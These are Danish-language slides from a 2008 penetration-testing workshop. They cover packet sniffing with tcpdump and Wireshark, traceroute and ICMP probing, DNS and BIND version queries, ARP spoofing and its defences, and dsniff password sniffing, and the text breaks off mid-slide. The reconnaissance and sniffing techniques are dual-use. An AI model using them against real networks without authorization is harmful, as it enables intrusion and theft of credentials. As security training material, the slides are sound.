Velkommen til

Hackerworkshop

September 2008

Henrik Lund Kramshøj
hlk@security6.net

http://www.security6.net

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Contact information

- Henrik Lund Kramshøj, freelance IT-security consultant
- Mobil: +45 2026 6000
- Email: hlk@security6.net
- Educated from the Computer Science Department at the University of Copenhagen
- CISSP and CEH certified

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Plan for dagene

- 09:00 - Workshop 1
- 10:00 - Workshop 2
- 11:00 - Workshop 3
- 12:00 - Frokost
- 12:45 - Workshop 4
- 14:00 - Workshop 5
- 15:00 - Workshop 6
- 16:00 - 1630 dagen er slut*

- *) Sluttiden kan variere.
- Hver time afsluttes med en kort pause med mulighed for kaffe, te, vand, rygning, ...
- Der vil være praktiske opgaver fordelt henover dagene til at få praktisk erfaring.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Formålet med kurset

Skabe en grundig forståelse for hackerværktøjer samt penetrationstest metoder

Sætte deltagerne istand til at kunne gennemføre enkle til videregående analyser af netværksopkoblede systemer

Ruste deltagerne til at kunne identificere sårbarheder og usikre konfigurationer i netværk

Design af netværk til minimering af risici.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hacker - cracker

Det korte svar - drop diskussionen

Det havde oprindeligt en anden betydning, men medierne har taget udtrykket til sig - og idag har det begge betydninger.

Idag er en hacker stadig en der bryder ind i systemer!

ref. Spafford, Cheswick, Garfinkel, Stoll, ... - alle kendte navne indenfor sikkerhed

Hvis man vil vide mere kan man starte med:

- *Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage*, Clifford Stoll
- *Hackers: Heroes of the Computer Revolution*, Steven Levy
- *Practical Unix and Internet Security*, Simson Garfinkel, Gene Spafford, Alan Schwartz

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Aftale om test af netværk

Straffelovens paragraf 263 Stk. 2. Med bøde eller fængsel indtil 6 måneder straffes den, som uberettiget skaffer sig adgang til en andens oplysninger eller programmer, der er bestemt til at bruges i et anlæg til elektronisk databehandling.

Hacking kan betyde:

- At man skal betale erstatning til personer eller virksomheder
- At man får konfiskeret sit udstyr af politiet
- At man, hvis man er over 15 år og bliver dømt for hacking, kan få en bøde - eller fængselsstraf i alvorlige tilfælde
- At man, hvis man er over 15 år og bliver dømt for hacking, får en plettet straffeattest. Det kan give problemer, hvis man skal finde et job eller hvis man skal rejse til visse lande, fx USA og Australien
- Frit efter: `http://www.stophacking.dk` lavet af Det Kriminalpræventive Råd
- Frygten for terror har forstærket ovenstående - så lad være!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Agenda: Planen for kurset

Security6.net

Sikkerhedsmæssige aspekter af TCP/IP:

- Internet idag - aktuelle hændelser
- Netværk OSI og Internetmodellerne
- Hvad giver penetrationstest virksomheden

Windows sikkerhed:

- Distribuerede systemer og usikre protokoller
- Sårbarheder og CVE, udnyttelse af sårbarheder
- hærdning af Windows systemer
- sikkerhed i websystemer

UNIX sikkerhed:

- Udnyttelse af sikkerhedshuller
- opbygning af infrastruktur til scanning
- hærdning af UNIX systemer

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Agenda: Planen for kurset - fortsat

Sikkerhedsmæssige aspekter af 802.11 trådløse netværk:

- wardriving
- WEP og WPA cracking
- Opbygning af gode netværk med 802.11

Avancerede emner:

- Metasploit framework
- Opsamling af trafik og signaturer
- Snort IDS
- Mere hacking med Damn Vulnerable Linux
- Mere webhacking med OWASP WebGoat

Fredag eksamen - hvis man er tilmeldt

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Praktiske øvelser

Security6.net

Der er en lang række praktiske øvelser som vil give jer erfaring med

- ICMP - lavniveau netværksanalyse
- portscanning - porte TCP og UDP
- exploits - hvad er proof of concept kode
- Videregående programmer og scripts
- netcat - scripting af netværksopgaver
- Brug af stand alone værktøjer - bootable cd-rom'er til analyse on-site
- Brug af MD5 kryptografisk hash funktion til integritetscheck
- PGP til sikker kommunikation
- Nessus - automatiseret afvikling af penetrationstest
- Wireshark (tidl. Ethereal) - open source netværkssniffer til Windows og UNIX
- SSH programmer, hvordan virker de, Secure Copy SCP, Putty og WinSCP på Windows

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Forberedelse til at blive hacket

Da I formentlig selv vil blive udsat for angreb og eventuelle kompromitterede servere gennemgås ligeledes:

- Hvordan opdages en hændelse
- Hvordan reagerer man på en hændelse
- Forebyggelse - erfaringer
- integritetscheckere AIDE og tripwire
- Bevissikring og dokumentation
- En metode til incident response
- Incident response plan
- recovering from root compromise, håndtering af hackede systemer

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Forudsætninger

Dette er en dybdegående workshop og fuldt udbytte kræver at deltagerne har mindst 2 års praktisk erfaring som teknikker og/eller systemadministrator

Til penetrationstest og det meste Internet-sikkerhedsarbejde er der følgende forudsætninger

- Netværkserfaring
- TCP/IP principper - ofte i detaljer
- Programmmeringserfaring er en fordel
- UNIX kendskab er ofte en **nødvendighed**
  - fordi de nyeste værktøjer er skrevet til UNIX i form af Linux og BSD
- Kurset anvender OpenBSD til øvelser og UNIX kendskab er derfor en fordel
- Alle øvelser kan udføres fra en Windows PC - UNIX øvelserne foregår via login til UNIX maskinen

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Kursusfaciliteter

der er lavet et netværk til test med følgende systemer:

- UNIX server baseret på OpenBSD Fiona med HTTP server: diverse værktøjer, scripts, nmap
- et antal targets - Windows 2000, Linux m.fl.

På UNIX serveren tillades login diverse kursusbrugere - kursus1, kursus2, kursus3, ... kodeordet er **kursus**

Der er DHCP server og IPv6 autoconfiguration - det er tilladt at tilslutte egen bærbar - på eget ansvar (hint: brug en firewall ;-)

Det er IKKE tilladt at scanne udenfor det lokale netværk uden forudgående aftale - overtrædelse kan medføre bortvisning

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Kursusnetværk

© copyright 2006 Security6.net, Henrik Lund Kramshøj

UNIX starthjælp

Da UNIX indgår er her et lille *cheat sheet* til UNIX

- DOS/Windows kommando - tilsvarende UNIX, og forklaring
- dir - ls - står for list files, viser filnavne
- del - rm - står for remove, sletter filer
- cd - cd - change directory, skifter katalog
- type - cat - concatenate, viser indholdet af tekstfiler
- more - less - viser tekstfiler en side af gangen
- attrib - chmod - change mode, ændrer rettighederne på filer

Prøv bare:

- **ls** list, eller long listing med **ls -l**
- **cat /etc/hosts** viser hosts filen
- **chmod +x head.sh** - sæt execute bit på en fil så den kan udføres som et program med kommandoen `./head.sh`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hackerværktøjer

Security .net

Der benyttes på kurset en del værktøjer:

- nmap - `http://www.insecure.org` portscanner
- Nessus - `http://www.nessus.org` automatiseret testværktøj
- Wireshark - `http://http://www.wireshark.org/` avanceret netværkssniffer
- OpenBSD - `http://www.openbsd.org` operativsystem med fokus på sikkerhed
- Putty - `http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html` terminal emulator med indbygget SSH

NB: Der kan forekomme opsamling af hemmeligheder fra computere på netværket! Hvis I benytter protokoller der sender kodeord i klar tekst kan disse opsnappes med sniffere.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Dag 1 og 2 Basale begreber

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvad skal der ske?

Security .net

Tænk som en hacker

Rekognoscering

- ping sweep, port scan
- OS detection - TCP/IP eller banner grab
- Servicescan - rpcinfo, netbios, ...
- telnet/netcat interaktion med services

Udnyttelse/afprøvning: Nessus, nikto, exploit programs

Oprydning vises ikke på kurset, men I bør i praksis:

- Lav en rapport
- Gennemgå rapporten, registrer ændringer
- Opdater programmer, konfigurationer, arkitektur, osv.

I skal jo også VISE andre at I gør noget ved sikkerheden.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Internet idag

Klienter og servere

Rødder i akademiske miljøer

Protokoller der er op til 20 år gamle

Meget lidt kryptering, mest på http til brug ved e-handel

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Internet er åbne standarder!

We reject kings, presidents, and voting.
We believe in rough consensus and running code.
– The IETF credo Dave Clark, 1992.

Request for comments - RFC - er en serie af dokumenter

RFC, BCP, FYI, informational
de første stammer tilbage fra 1969

Ændres ikke, men får status Obsoleted når der udkommer en nyere version af en standard

Standards track:
Proposed Standard → Draft Standard → Standard

Åbne standarder = åbenhed, ikke garanti for sikkerhed

© copyright 2006 Security6.net, Henrik Lund Kramshøj

The Internet Worm 2. nov 1988

Udnyttede følgende sårbarheder

- buffer overflow i fingerd - VAX kode
- Sendmail - DEBUG
- Tillid mellem systemer: rsh, rexec, ...
- dårlige passwords

Avanceret + camouflage!

- Programnavnet sat til 'sh'
- Brugte fork() til at skifte PID jævnligt
- password cracking med intern liste med 432 ord og /usr/dict/words
- Fandt systemer i /etc/hosts.equiv, .rhosts, .forward, netstat ...

Lavet af Robert T. Morris, Jr.

Medførte dannelsen af CERT, `http://www.cert.org`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

CERT/CC - www.cert.org

Stiftet som reaktion på The Internet Worm i 1988

betragtet som de seriøse - og konservative

informerer om sårbarheder og trusler

koordinerer aktiviteter - mellem leverandører

opsamler statistik for hacker aktivitet

© copyright 2006 Security6.net, Henrik Lund Kramshøj

OSI og Internet modellerne

© copyright 2006 Security6.net, Henrik Lund Kramshøj

TCPDUMP - protokolanalyse pakkesniffer

http://www.tcpdump.org - både til Windows og UNIX

© copyright 2006 Security6.net, Henrik Lund Kramshøj

tcpdump - normal brug

- tekstmode
- kan gemme netværkspakker i filer
- kan læse netværkspakker fra filer
- er de-facto standarden for at gemme netværksdata i filer

```
 [root@otto hlk]# tcpdump -i en0
tcpdump: listening on en0
13:29:39.947037 fe80::210:a7ff:fe0b:8a5c > ff02::1: icmp6: router advertisement
13:29:40.442920 10.0.0.200.49165 > dns1.cybercity.dk.domain:  1189+[|domain]
13:29:40.487150 dns1.cybercity.dk.domain > 10.0.0.200.49165:  1189 NXDomain*[|domain]
13:29:40.514494 10.0.0.200.49165 > dns1.cybercity.dk.domain:  24765+[|domain]
13:29:40.563788 dns1.cybercity.dk.domain > 10.0.0.200.49165:  24765 NXDomain*[|domain]
13:29:40.602892 10.0.0.200.49165 > dns1.cybercity.dk.domain:  36485+[|domain]
13:29:40.648288 dns1.cybercity.dk.domain > 10.0.0.200.49165:  36485 NXDomain*[|domain]
13:29:40.650596 10.0.0.200.49165 > dns1.cybercity.dk.domain:  4101+[|domain]
13:29:40.694868 dns1.cybercity.dk.domain > 10.0.0.200.49165:  4101 NXDomain*[|domain]
13:29:40.805160 10.0.0.200 > mail: icmp: echo request
13:29:40.805670 mail > 10.0.0.200: icmp: echo reply
...
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

TCPDUMP syntaks - udtryk

filtre til husbehov

- type - host, net og port
- src pakker med afsender IP eller afsender port
- dst pakker med modtager IP eller modtager port
- host - afsender eller modtager
- proto - protokol: ether, fddi, tr, ip, ip6, arp, rarp, decnet, tcp og udp

IP adresser kan angives som dotted-decimal eller navne

porte kan angives med numre eller navne

komplekse udtryk opbygges med logisk and, or, not

© copyright 2006 Security6.net, Henrik Lund Kramshøj

tcpdump udtryk eksempler

Host 10.1.2.3
Alle pakker hvor afsender eller modtager er 10.1.2.3

host 10.2.3.4 and not host 10.3.4.5
Alle pakker til/fra 10.2.3.4 undtagen dem til/fra 10.3.4.5
- meget praktisk hvis man er logget ind på 10.2.3.4 via netværk fra 10.3.4.5

host foo and not port ftp and not port ftp-data
trafik til/fra maskine *foo* undtagen hvis det er FTP trafik

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Wireshark - grafisk pakkesniffer

http://www.wireshark.org

både til Windows og UNIX, tidligere kendt som Ethereal

Programhygiejne!

Download, installer - kør! - farligt!

Sådan gøres det:

- download program OG signaturfil/MD5
- verificer signatur eller MD5
- installer
- brug programmet
- hold programmet opdateret!
  Se eksempelvis teksten på hjemmesiden:
  Wireshark 0.99.2 has been released. Several security-related vulnerabilities have been fixed and several new features have been added.

NB: ikke alle programmer har signaturer :(

MD5 er en envejs hash algoritme - mere om det senere

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Brug af Wireshark

Man starter med Capture - Options

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Brug af Wireshark

(Untitled) – Ethereal

File Edit View Go Capture Analyze Statistics Help

No.	Time	Source	Destination	Protocol	Info
561	6.760947	10.0.0.32	sunny.kramse.dk	TCP	54021 > imaps [ACK] Seq=426 Ack=10773 Win=65
562	6.763144	sunny.kramse.dk	10.0.0.32	TLS	Continuation Data, [Unreassembled Packet]
563	6.820037	10.0.0.32	sunny.kramse.dk	TCP	54021 > imaps [ACK] Seq=426 Ack=11106 Win=65
564	6.919635	10.0.0.32	sunny.kramse.dk	TCP	54023 > imaps [SYN] Seq=0 Ack=0 Win=65535 Len
565	6.921708	sunny.kramse.dk	10.0.0.32	TCP	imaps > 54023 [SYN, ACK] Seq=0 Ack=1 Win=1638
566	6.921794	10.0.0.32	sunny.kramse.dk	TCP	54023 > imaps [ACK] Seq=1 Ack=1 Win=65535 Len
567	6.922614	10.0.0.32	sunny.kramse.dk	TLS	Client Hello

- Frame 563 (66 bytes on wire, 66 bytes captured)
- Ethernet II, Src: AppleCom_86:7c:3f (00:0d:93:86:7c:3f), Dst: Olicom_c3:57:d8 (00:00:24:c3:57:d8)
- Internet Protocol, Src: 10.0.0.32 (10.0.0.32), Dst: sunny.kramse.dk (217.157.20.131)
- Transmission Control Protocol, Src Port: 54021 (54021), Dst Port: imaps (993), Seq: 426, Ack: 11106, Len: 0

```
0000  00 00 24 c3 57 d8 00 0d  93 86 7c 3f 08 00 45 00   ..$.W... ..|?..E.
0010  00 34 7e 8b 40 00 40 06  c3 f8 0a 00 00 20 d9 9d   .4~.@.@. ..... ..
0020  14 83 d3 05 03 e1 cd 31  c9 ea 0d 7b a2 bf 80 10   .......1 ...{....
0030  ff ff 32 0d 00 00 01 01  08 0a 62 e0 c3 42 bb e3   ..2..... ..b..B..
```

Filter: | Expression... | Clear | Apply | File: "/var/tmp/ether0ARkxt...

Læg mærke til filtermulighederne

Secure Shell - SSH og SCP

SSH afløser en række protokoller som er usikre:

- Telnet til terminal adgang
- r* programmerne, rsh, rcp, rlogin, ...
- FTP med brugerid/password

© copyright 2006 Security6.net, Henrik Lund Kramshøj

SSH - de nye kommandoer er

kommandoerne er:

- ssh - Secure Shell
- scp - Secure Copy
- sftp - secure FTP

Husk: SSH er både navnet på protokollerne - version 1 og 2 samt programmet `ssh` til at logge ind på andre systemer

SSH tillader også port-forward, tunnel til usikre protokoller, eksempelvis X protokollen til UNIX grafiske vinduer

NB: Man bør idag bruge SSH protokol version 2!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Putty en SSH til Windows

Login skærmen til Putty terminal programmet

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Putty terminaladgang

Billede fra `http://edu.muhos.fi/opas/ssh/putty-ohje.htm`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Grafisk Secure Copy - WinSCP

screenshot fra

http://winscp.vse.cz/eng/screenshots/large/advanced.gif

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Grafisk Secure Copy - WinSCP

screenshot fra

http://winscp.vse.cz/eng/screenshots/large/explorer.gif

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Putty installation - Secure Shell login

som er øvelse **1** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

WinSCP installation - Secure Copy

som er øvelse **2** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Login på UNIX systemerne

som er øvelse **3** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Føling med UNIX

som er øvelse **4** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

UNIX - adgang til root

som er øvelse **5** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

UNIX boot CD

som er øvelse **6** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Wireshark installation

som er øvelse 7 fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Opsamling af trafik

som er øvelse **8** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

SSH nøgler

I praksis benytter man - bør man benytte nøgler fremfor kodeord

I kan lave jeres egne SSH nøgler med programmerne i Putty

Hvilken del skal jeg have for at kunne give jer adgang til en server?

Hvordan får jeg smartest denne nøgle?

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Installation af SSH nøgle

Vi bruger login med password på kurset, men for fuldstændighedens skyld beskrives her hvordan nøgle installeres:

- først skal der genereres et nøglepar **id_dsa og id_dsa.pub**
- Den offentlige del, filen id_dsa.pub, kopieres til serveren
- Der logges ind på serveren
- Der udføres udfør følgende kommandoer:

```
cd skift til dit hjemmekatalog
mkdir .ssh lav et katalog til ssh-nøgler
cat id_dsa.pub >> .ssh/authorized_keys kopierer nøglen
chmod -R go-rwx .ssh skift rettigheder på nøglen
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

traceroute

traceroute programmet virker ved hjælp af TTL

levetiden for en pakke tælles ned i hver router på vejen og ved at sætte denne lavt opnår man at pakken *timer ud* - besked fra hver router på vejen

default er UDP pakker, men på UNIX systemer er der ofte mulighed for at bruge ICMP

```
  traceroute 217.157.20.129
traceroute to 217.157.20.129 (217.157.20.129)

, 30 hops max, 40 byte packets
 1  safri (10.0.0.11)  3.577 ms  0.565 ms  0.323 ms
 2  router (217.157.20.129)  1.481 ms  1.374 ms  1.261 ms
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

traceroute - med UDP

```
 #  tcpdump -i en0 host 217.157.20.129 or host 10.0.0.11
tcpdump: listening on en0
23:23:30.426342 10.0.0.200.33849 > router.33435: udp 12 [ttl 1]
23:23:30.426742 safri > 10.0.0.200: icmp: time exceeded in-transit
23:23:30.436069 10.0.0.200.33849 > router.33436: udp 12 [ttl 1]
23:23:30.436357 safri > 10.0.0.200: icmp: time exceeded in-transit
23:23:30.437117 10.0.0.200.33849 > router.33437: udp 12 [ttl 1]
23:23:30.437383 safri > 10.0.0.200: icmp: time exceeded in-transit
23:23:30.437574 10.0.0.200.33849 > router.33438: udp 12
23:23:30.438946 router > 10.0.0.200: icmp: router udp port 33438 unreachable
23:23:30.451319 10.0.0.200.33849 > router.33439: udp 12
23:23:30.452569 router > 10.0.0.200: icmp: router udp port 33439 unreachable
23:23:30.452813 10.0.0.200.33849 > router.33440: udp 12
23:23:30.454023 router > 10.0.0.200: icmp: router udp port 33440 unreachable
23:23:31.379102 10.0.0.200.49214 > safri.domain:  6646+ PTR?

200.0.0.10.in-addr.arpa. (41)
23:23:31.380410 safri.domain > 10.0.0.200.49214:  6646 NXDomain* 0/1/0 (93)
14 packets received by filter
0 packets dropped by kernel
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Værdien af traceroute

diagnosticering af netværksproblemer - formålet med traceroute

indblik i netværkets opbygning!

svar fra hosts - en modtaget pakke fremfor et *sort hul*

traceroute er ikke et angreb - det er også vigtigt at kunne genkende normal trafik!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Network mapping

Ved brug af traceroute og tilsvarende programmer kan man ofte udlede topologien i det netværk man undersøger

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Andre trace programmer

Der findes mange specialiserede trace programmer til diverse formål

Eksempel: dnstracer information om DNS servere

```
# dnstracer -r . www.security6.net
Strange amount of retries, setting to default
Tracing to www.security6.net via 10.0.0.11, timeout 15 seconds
10.0.0.11 (10.0.0.11)
 |___ H.GTLD-SERVERS.net [net] (192.54.112.30)
 |     |___ NS6.GANDI.net [security6.net] (80.67.173.196) * * *
 |      ___ NS1.security6.net [security6.net] (217.157.20.130)
 |           |___ B.GTLD-SERVERS.net [net] (192.33.14.30)
 |           |     |___ NS6.GANDI.net [security6.net] ...
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Flere traceprogrammer

mtr My traceroute - grafisk http://www.bitwizard.nl/mtr/

lft - *layer four trace* benytter TCP SYN og FIN prober

trace ved hjælp af TCP og andre protokoller findes

paratrace - *Parasitic Traceroute via Established TCP Flows and IPID Hopcount*

Der findes webservices hvor man kan trace fra, eksempelvis: http://www.samspade.org

© copyright 2006 Security6.net, Henrik Lund Kramshøj

What time is it?

Hvad er klokken?

Hvad betydning har det for sikkerheden?

Brug NTP Network Time Protocol på produktionssystemer

© copyright 2006 Security6.net, Henrik Lund Kramshøj

What time is it? - spørg ICMP

ICMP timestamp option - request/reply

hvad er klokken på en server

Slayer icmpush - er installeret på server

viser tidstempel

```
#  icmpush -v -tstamp 10.0.0.12
ICMP Timestamp Request packet sent to 10.0.0.12 (10.0.0.12)

Receiving ICMP replies ...
fischer          -> 21:27:17
icmpush: Program finished OK
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Netmasken? - spørg ICMP

ICMP address mask option - request/reply

hvilken netmaske bruger serveren

Slayer icmpush - er installeret på server

viser netmasken

```
#  icmpush -v -mask 217.157.20.129
ICMP Address Mask Request packet sent to 217.157.20.129

Receiving ICMP replies ...
router.kramse.dk -> 255.255.255.240
icmpush: Program finished OK
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

ping og traceroute

som er øvelse **9** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

ICMP tool - icmpush

som er øvelse **10** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Informationsindsamling

Det vi har udført er informationsindsamling

Indsamlingen kan være aktiv eller passiv indsamling i forhold til målet for angrebet

passiv kunne være at lytte med på trafik eller søge i databaser på Internet

aktiv indsamling er eksempelvis at sende ICMP pakker og registrere hvad man får af svar

© copyright 2006 Security6.net, Henrik Lund Kramshøj

whois systemet

IP adresserne administreres i dagligdagen af et antal Internet registries, hvor de største er:

- RIPE (Réseaux IP Européens) `http://ripe.net`
- ARIN American Registry for Internet Numbers `http://www.arin.net`
- Asia Pacific Network Information Center `http://www.apnic.net`
- LACNIC (Regional Latin-American and Caribbean IP Address Registry) - Latin America and some Caribbean Islands `http://www.lacnic.net`
- AfriNIC African Internet Numbers Registry `http://www.afrinic.net`

disse fem kaldes for Regional Internet Registries (RIRs) i modsætning til Local Internet Registries (LIRs) og National Internet Registry (NIR)

© copyright 2006 Security6.net, Henrik Lund Kramshøj

whois systemet -2

ansvaret for Internet IP adresser ligger hos ICANN The Internet Corporation for Assigned Names and Numbers http://www.icann.org

NB: ICANN må ikke forveksles med IANA Internet Assigned Numbers Authority http://www.iana.org/ som bestyrer portnumre og andre magiske konstanter m.v.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

DNS systemet

navneopslag på Internet

tidligere brugte man en **hosts** fil
hosts filer bruges stadig lokalt til serveren - IP-adresser

UNIX: /etc/hosts

Windows `c:\windows\system32\drivers\etc\hosts`

Eksempel: www.security6.net har adressen 217.157.20.131

skrives i database filer, zone filer

```
ns1     IN      A       217.157.20.130
IN      AAAA    2001:618:433::1
www     IN      A       217.157.20.131
IN      AAAA    2001:618:433::14
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Mere end navneopslag

Security .net

består af resource records med en type:

- adresser A-records
- IPv6 adresser AAAA-records
- autoritative navneservere NS-records
- post, mail-exchanger MX-records
- flere andre: md , mf , cname , soa , mb , mg , mr , null , wks , ptr , hinfo , minfo , mx ....

```
IN      MX      10      mail.security6.net.
IN      MX      20      mail2.security6.net.
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

DNS root servere

Root-servere - 13 stk geografisk distribueret fordelt på Internet

```
I.ROOT-SERVERS.NET.      3600000 A       192.36.148.17
E.ROOT-SERVERS.NET.      3600000 A       192.203.230.10
D.ROOT-SERVERS.NET.      3600000 A       128.8.10.90
A.ROOT-SERVERS.NET.      3600000 A       198.41.0.4
H.ROOT-SERVERS.NET.      3600000 A       128.63.2.53
C.ROOT-SERVERS.NET.      3600000 A       192.33.4.12
G.ROOT-SERVERS.NET.      3600000 A       192.112.36.4
F.ROOT-SERVERS.NET.      3600000 A       192.5.5.241
B.ROOT-SERVERS.NET.      3600000 A       128.9.0.107
J.ROOT-SERVERS.NET.      3600000 A       198.41.0.10
K.ROOT-SERVERS.NET.      3600000 A       193.0.14.129
L.ROOT-SERVERS.NET.      3600000 A       198.32.64.12
M.ROOT-SERVERS.NET.      3600000 A       202.12.27.33
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

DK-hostmaster

bestyrer .dk TLD - top level domain

man registrerer ikke .dk-domæner hos DK-hostmaster, men hos en registrator

Et domæne bør have flere navneservere og flere postservere

autoritativ navneserver - ved autoritativt om IP-adresse for maskine.domæne.dk findes

ikke-autoritativ - har på vegne af en klient slået en adresse op

Det anbefales at overveje en service som `http://www.gratisdns.dk` der har 5 navneservere distribueret over stor geografisk afstand - en udenfor Danmark

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Små DNS tools bind-version - Shell script

```
#! /bin/sh
# Try to get version info from BIND server
PROGRAM=`basename $0`
. `dirname $0`/functions.sh
if [ $# -ne 1 ]; then
   echo "get name server version, need a target! "
   echo "Usage: $0 target"
   echo "example $0 10.1.2.3"
   exit 0
fi
TARGET=$1
# using dig
start_time
dig @$1 version.bind chaos txt
echo Authors BIND er i versionerne 9.1 og 9.2 - måske ...
dig @$1 authors.bind chaos txt
stop_time
```

http://www.kramse.dk/files/tools/dns/bind-version

Små DNS tools dns-timecheck - Perl script

```
#!/usr/bin/perl
# modified from original by Henrik Kramshøj, hlk@kramse.dk
# 2004-08-19
#
# Original from: http://www.rfc.se/fpdns/timecheck.html
use Net::DNS;

my $resolver = Net::DNS::Resolver->new;
$resolver->nameservers($ARGV[0]);

my $query = Net::DNS::Packet->new;
$query->sign_tsig("n","test");

my $response = $resolver->send($query);
foreach my $rr ($response->additional)
  print "localtime vs nameserver $ARGV[0] time difference: ";
  print$rr->time_signed - time() if $rr->type eq "TSIG";
```

http://www.kramse.dk/files/tools/dns/dns-timecheck

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Google for it

Google som hacker værktøj?

Googledorks `http://johnny.ihackstuff.com/`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Opslag i whois databaser

som er øvelse **11** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

DNS og navneopslag

som er øvelse **12** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Lær at bruge host programmet

som er øvelse **13** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Afprøv bind-version programmet

som er øvelse **14** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Afprøv dns-timecheck programmet

som er øvelse **15** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvordan virker ARP?

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvordan virker ARP? - 2

ping 10.0.0.2 udført på server medfører

ARP Address Resolution Protocol request/reply:

- ARP request i broadcast - Who has 10.0.0.2 Tell 10.0.0.1
- ARP reply (fra 10.0.0.2) 10.0.0.2 is at 00:40:70:12:95:1c

IP ICMP request/reply:

- Echo (ping) request fra 10.0.0.1 til 10.0.0.2
- Echo (ping) reply fra 10.0.0.2 til 10.0.0.1
- ...

ARP udføres altid på Ethernet før der kan sendes IP trafik

(kan være RARP til udstyr der henter en adresse ved boot)

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvordan virker ARP spoofing?

Hackeren sender forfalskede ARP pakker til de to parter

De sender derefter pakkerne ud på Ethernet med hackerens MAC adresse som modtager - han får alle pakkerne

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Forsvar mod ARP spoofing

Hvad kan man gøre?

låse MAC adresser til porte på switche

låse MAC adresser til bestemte IP adresser

Efterfølgende administration!

arpwatch er et godt bud - overvåger ARP

bruge protokoller som ikke er sårbare overfor opsamling

© copyright 2006 Security6.net, Henrik Lund Kramshøj

FTP

File Transfer Protocol - filoverførsler

Trivial File Transfer Protocol - uautentificerede filoverførsler

De bruges især til:

- FTP - drivere, dokumenter, rettelser - Windows Update? er enten HTTP eller FTP
- TFTP bruges til boot af netværksklienter uden egen harddisk

FTP sender i klartekst
USER brugernavn og
PASS hemmeligt-kodeord

© copyright 2006 Security6.net, Henrik Lund Kramshøj

POP3 - e-mail i Danmark

POP3 sender brugernavn og kodeord i klartekst - ligesom FTP

bruges dagligt af næsten alle privatkunder

alle internetudbydere og postudbydere tilbyder POP3

der findes en variant, POP3 over SSL/TLS

© copyright 2006 Security6.net, Henrik Lund Kramshøj

dsniff

en sniffer til mange usikre protokoller

inkluderer **arpspoof**

Lavet af Dug Song, dugsong@monkey.org

```
dsniff is a password sniffer which handles FTP, Telnet,
SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin,
RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11,
CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker,
Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft
